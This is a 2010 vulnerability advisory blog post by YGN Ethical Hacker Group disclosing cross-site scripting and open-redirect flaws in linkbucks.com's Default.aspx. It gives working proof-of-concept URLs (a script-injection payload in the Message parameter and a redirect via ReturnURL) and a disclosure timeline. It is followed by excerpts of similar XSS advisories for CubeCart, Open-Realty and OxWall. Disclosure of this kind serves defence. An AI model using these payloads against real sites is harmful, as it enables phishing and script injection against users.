linkbucks.com XSS & URL Redirection Vulnerabilities

By YGN Ethical Hacker Group - 

1. OVERVIEW

A famous link-based advertising network, linkbucks.com, is currently vulnerable to 
Cross Site Scripting and URL Redirection vulnerabilities


2. SITE SERVICE DESCRIPTION

Linkbucks is the first Internet advertising network to recognize that the interplay 
between websites and web users is the foundation of a successful viral campaign. 
Linkbucks brings web users, websites, and marketers together in a way that is beneficial to everyone.


3. VULNERABILITY DESCRIPTION

The Default.aspx page at linkbucks.com is vulnerable to Cross Site Scripting vulnerability 
as the Message and ReturnURL parameters are not properly sanitized after a user's logging out. 


4. PROOF-OF-CONCEPT/EXPLOIT

+ Cross Site Scripting (OWASP 2010 Top 10 - A2)

http://www.linkbucks.com/Default.aspx?task=completed&MetaRefresh=2&Message="><script>alert(/XSS/)</script>&ReturnURL=/Default.aspx&NoText=true

http://yehg.net/lab/pr0js/advisories/sites/linkbucks.com/xss/linkbucks.com_xss.jpg

+ Unvalidated Redirects and Forwards (OWASP 2010 Top 10 - A10)

http://www.linkbucks.com/Default.aspx?task=completed&MetaRefresh=2&Message=You%20have%20been%20logged%20out.&ReturnURL=http://www.yehg.net&NoText=true


5. IMPACT

As the linkbucks has hundreds of web users, ad publishers and advertisers, 
attackers can exploit these flaws for fun and profit.


6. VENDOR

LinkBucks.com
-http://linkbucks.com


7. CREDIT

This vulnerability was discovered by Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.


8. DISCLOSURE TIME-LINE

07-10-2010: vulnerability discovered
07-13-2010: got contact from linksbuck support team via support ticket "#KHT-97974-227"
07-15-2010: provided vulnerabilities
08-15-2010: vulnerabilities have not been fixed
08-18-2010: vulnerability disclosed


9. REFERENCES

Original Advisory URL: http://yehg.net/lab/pr0js/view.php/[linkbucks.com]_xss,redirect
OWASP Top 10 - http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

#yehg [08-18-2010]

Popular posts from this blog

CubeCart 3.0.20 (3.0.x) and lower | Multiple Cross Site Scripting Vulnerabilities

By YGN Ethical Hacker Group -
1. OVERVIEW CubeCart 3.0.20 and lower versions are vulnerable to Cross Site Scripting. 2. BACKGROUND CubeCart is an "out of the box" ecommerce shopping cart software solution which has been written to run on servers that have PHP & MySQL support. With CubeCart you can quickly setup a powerful online store which can be used to sell digital or tangible products to new and existing customers all over the world. 3. VULNERABILITY DESCRIPTION Multiple parameters are not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser. 4. VERSIONS AFFECTED 3.0.20 and lower (aka 3.0.x family) 5. Affected URLs and Parameters /admin/adminusers/permissions.php (adminId parameter) /admin/categories/index.php (cat_name parameter) /admin/categories/languages.php (cat_master_id parameter) /admin/customers/ (
Read more

Open-Realty CMS 3.x | Persistent Cross Site Scripting (XSS) Vulnerability

By YGN Ethical Hacker Group -
1. OVERVIEW Open-Realty CMS 3.x versions are vulnerable to Persistent Cross Site Scripting (XSS). 2. BACKGROUND Open-Realty is the world's leading real estate listing marketing and management CMS application, and has enjoyed being the real estate web site software of choice for professional web site developers since 2002. 3. VULNERABILITY DESCRIPTION Multiple parameters are not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser. 4. VERSIONS AFFECTED 3.x 5. PROOF-OF-CONCEPT/EXPLOIT /admin/ajax.php (parameter: title, full_desc, ta) /////////////////////////////////////////////////////// POST /admin/ajax.php?action=ajax_update_listing_data HTTP/1.1 Host: localhost Content-Length: 574 Origin: http://localhost X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded
Read more

OxWall 1.1.1 <= Multiple Cross Site Scripting Vulnerabilities (CVE-2012-0872)

By YGN Ethical Hacker Group -
1. OVERVIEW OxWall 1.1.1 and lower versions are vulnerable to Cross Site Scripting. 2. BACKGROUND Oxwall is a free open source software package for building social networks, family sites and collaboration systems. It is a flexible community website engine developed with the aim to provide people with a well-coded, user-friendly software platform for social needs. It is easy to set up, configure and manage Oxwall while you focus on your site idea. We are testing the concept of free open source community software for complete (site,sub-site setups) and partial (widgets,features) community and collaboration solutions for companies and individuals. 3. VULNERABILITY DESCRIPTION Multiple parameters were not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser. 4. VERSIONS AFFECTED 1.1.1 and lower 5. PROOF-OF-CONCE
Read more